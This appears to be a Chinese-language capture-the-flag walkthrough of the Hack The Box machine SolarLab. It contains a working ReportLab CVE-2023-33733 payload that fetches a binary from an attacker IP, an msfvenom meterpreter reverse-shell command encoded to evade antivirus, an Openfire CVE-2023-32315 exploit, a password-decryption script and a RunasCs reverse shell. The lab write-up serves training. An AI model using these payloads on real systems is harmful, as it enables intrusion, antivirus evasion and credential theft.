HTB - SolarLab
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.24.0
|_http-title: Did not follow redirect to http://solarlab.htb/
|_http-server-header: nginx/1.24.0
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
6791/tcp open http nginx 1.24.0
|_http-server-header: nginx/1.24.0
|_http-title: Did not follow redirect to http://report.solarlab.htb:6791/
7680/tcp open pando-pub?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2025-03-11T08:35:50
|_ start_date: N/A
|_clock-skew: -17m59s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 88.51 seconds
开了445,看看有啥东西
impacket-smbclient [email protected] -no-pass
shares查看所有共享目录

在details-file.xslx中发现了一些成员的登录密码等信息,还有一个请求模板文件

提示查找blake在report的用户名,按照一般的外国名字的规则猜(我草还能这样,判断正误可以从登录的错误信息判断,得知blake的用户名是blakeb,密码复用登录进去
发现有PDF文件生成功能,随便生成一个看元数据
发现是reportlab软件生成
https://github.com/c53elyas/CVE-2023-33733 有个RCE漏洞,简单来说就是打印下列字符串即可命令执行,但打印有字数限制,可以运行的命令很少
<font color="[ [ getattr(pow,Word('__globals__'))['os'].system('wget http://10.10.16.36:8003/nc64.exe') for Word in [orgTypeFun('Word',(str,),{'mutated': 1,'startswith': lambda self,x:False,'__eq__': lambda self,x: self.mutate() and self.mutated <0 and str(self)==x,'mutate':lambda self:{setattr(self, 'mutated', self.mutated - 1)}, '__hash__':lambda self: hash(str(self))})] ] for orgTypeFun in [type(type(1))] ]and 'red'">exploit</font>
不过可以放在办公地址的位置,那里没有限制,并且也会被打印出来,拿到反弹shell msf生成裸奔🐴被拦截了,两次编码简单绕过上线
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=10.10.16.36 LPORT=15556 -b "\x00" -e x86/shikata_ga_nai -i 20 | msfvenom -a x86 --platform windows -e x86/alpha_upper -i 10 -f exe -o log.exe

在网站的instance文件夹下找到内存数据库文件,发现明文存储账户的账号密码

netstat发现跑着openfile
配置防火墙如果Linux服务器上有防火墙,需要打开Openfire使用的端口,以便外部访问。 默认情况下,Openfire使用的端口为9090(HTTP)和9093(HTTPS)。
9090端口一般是管理页面,我们通过msf代理端口到本地
portfwd add -l 8085 -p 9090 -r 127.0.0.1

搜索cve ,用 https://github.com/miko550/CVE-2023-32315 打

登录进去之后上传这个cve仓库下的jar插件,最后在服务器管理那里找到Management Tool,切换为系统命令模式,反弹shell

在上级目录找到文件夹embedded-db,里面的openfire.script记录了些数据库操作,其中有关于admin的部分:
很明显存在密码的密文,我们从网上找到openfire加密的解密脚本 脚本
懒得装java编译器,找了个php的
<?
function decrypt_openfirepass($ciphertext, $key) {
$cypher = 'blowfish';
$mode = 'cbc';
$sha1_key = sha1($key, true);
$td = mcrypt_module_open($cypher, '', $mode, '');
$ivsize = mcrypt_enc_get_iv_size($td);
$iv = substr(hex2bin($ciphertext), 0, $ivsize);
$ciphertext = substr(hex2bin($ciphertext), $ivsize);
if ($iv) {
mcrypt_generic_init($td, $sha1_key, $iv);
$plaintext = mdecrypt_generic($td, $ciphertext);
}
return $plaintext;
}
// 用这个需要安装php-mcrypt扩展
INSERT INTO OFUSER VALUES('admin','gjMoswpK+HakPdvLIvp6eLKlYh0=','9MwNQcJ9bF4YeyZDdns5gvXp620=','yidQk5Skw11QJWTBAloAb28lYHftqa0x',4096,NULL,'becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442','Administrator','[email protected]','001700223740785','0')
...
INSERT INTO OFPROPERTY VALUES('passwordKey','hGXiFzsKaAeYLjn',0,NULL)
...
拿到这些就可以用脚本开爆
得到密码 ThisPasswordShouldDo!@,用evil-winrm卡住上不去,可能不是这个windows的管理员密码,接下来是新东西 runas
runas是 Microsoft Windows 操作系统中的一条命令,允许用户以其他用户的身份运行程序。 这类似于 Unix 系统中的sudo和su命令。runas命令最早出现在 Windows 2000 操作系统中
RunasCs.exe提供了更加灵活和方便的脚本,可以指定用户和密码去执行程序,而其自带的脚本支持直接反弹shell
上传RunaScs

反弹shell
./R.exe administrator ThisPasswordShouldDo!@ powershell -r 10.10.16.36:15555

最后这里有点不太明白,先挖下windows权限管理的坑(( 之后补